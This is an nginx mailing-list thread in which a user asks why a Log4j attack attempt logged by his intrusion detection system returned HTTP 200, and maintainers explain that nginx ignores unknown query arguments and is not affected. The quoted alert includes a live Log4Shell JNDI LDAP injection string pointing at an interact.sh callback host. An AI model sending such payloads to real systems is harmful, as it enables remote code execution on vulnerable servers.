Mauro,
Unless you use somewhere in your stack log4j vulnerable software (nginx
is not) I don't see anything significant to worry about.
Maxim
On 29.12.2021 21:34, Mauro Tridici wrote:
> Helo Maxim,
>
> thank you very much for the explanation.
> In your opinion, is this the case to “fix” this behaviour (but I don’t know how, I’m a newbie, sorry) or I should simply ignore it?
>
> Many thanks again,
> Mauro
>
>> On 29 Dec 2021, at 19:29, Maxim Dounin <mdounin@mdounin.ru> wrote:
>>
>> Hello!
>>
>> On Wed, Dec 29, 2021 at 03:55:35PM +0100, Mauro Tridici wrote:
>>
>>> I have an old instance of NGINX (v.1.10.1) running as proxy
>>> server on a dedicated hardware platform.
>>> Since the proxy service is reachable from internet, it is
>>> constantly exposed to cyber attacks.
>>> In my particular case, it is attacked by a lot of Log4j attack
>>> attempts from several malicious IPs.
>>>
>>> At this moment, an host intrusion detection system (HIDS) is
>>> running and is protecting the NGINX server: it seems it is
>>> blocking every malicious attack attempts.
>>> Anyway, during the last attack mail notification sent by the
>>> HIDS, I noticed that the NGINX server response was “HTTP/1.1
>>> 200” and I’m very worried about it.
>>> Log4j and Java packages are NOT installed on the NGINX server
>>> and all the servers behind the proxy are not using Log4j.
>>>
>>> Could you please help me to understand the reason why the NGINX
>>> server answer was “HTTP/1.1 200”!?
>>>
>>> You can see below the mail notification I received:
>>>
>>>
>>> Attack Notification.
>>> 2021 Dec 28 20:45:59
>>>
>>> Received From: “hidden_NGINX_server_IP”
>>>> /var/log/nginx/access.log
>>> Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt
>>> detected."
>>> Src IP: 166.137.252.110
>>> Portion of the log(s):
>>>
>>> 166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET
>>> /?sulgz=${jndi:ldap://“hidden_NGINX_server_IP
>>> <ldap://%E2%80%9Chidden_server_IP>".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a
>>> <ldap://193.204.199.214.c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a>}
>>> HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"
>>
>> As you can see from the log line, the request is to "/" with some
>> additional request arguments ("?sulgz=..."). As unknown request
>> arguments are usually ignored, it is no surprise that such a
>> request results in 200.
>>
>> --
>> Maxim Dounin
>> http://mdounin.ru/
>> _______________________________________________
>> nginx mailing list
>> nginx@nginx.org
>> http://mailman.nginx.org/mailman/listinfo/nginx
>
>
> _______________________________________________
> nginx mailing list
> nginx@nginx.org
> http://mailman.nginx.org/mailman/listinfo/nginx
--
Maxim Konovalov
_______________________________________________
nginx mailing list
nginx@nginx.org
http://mailman.nginx.org/mailman/listinfo/nginx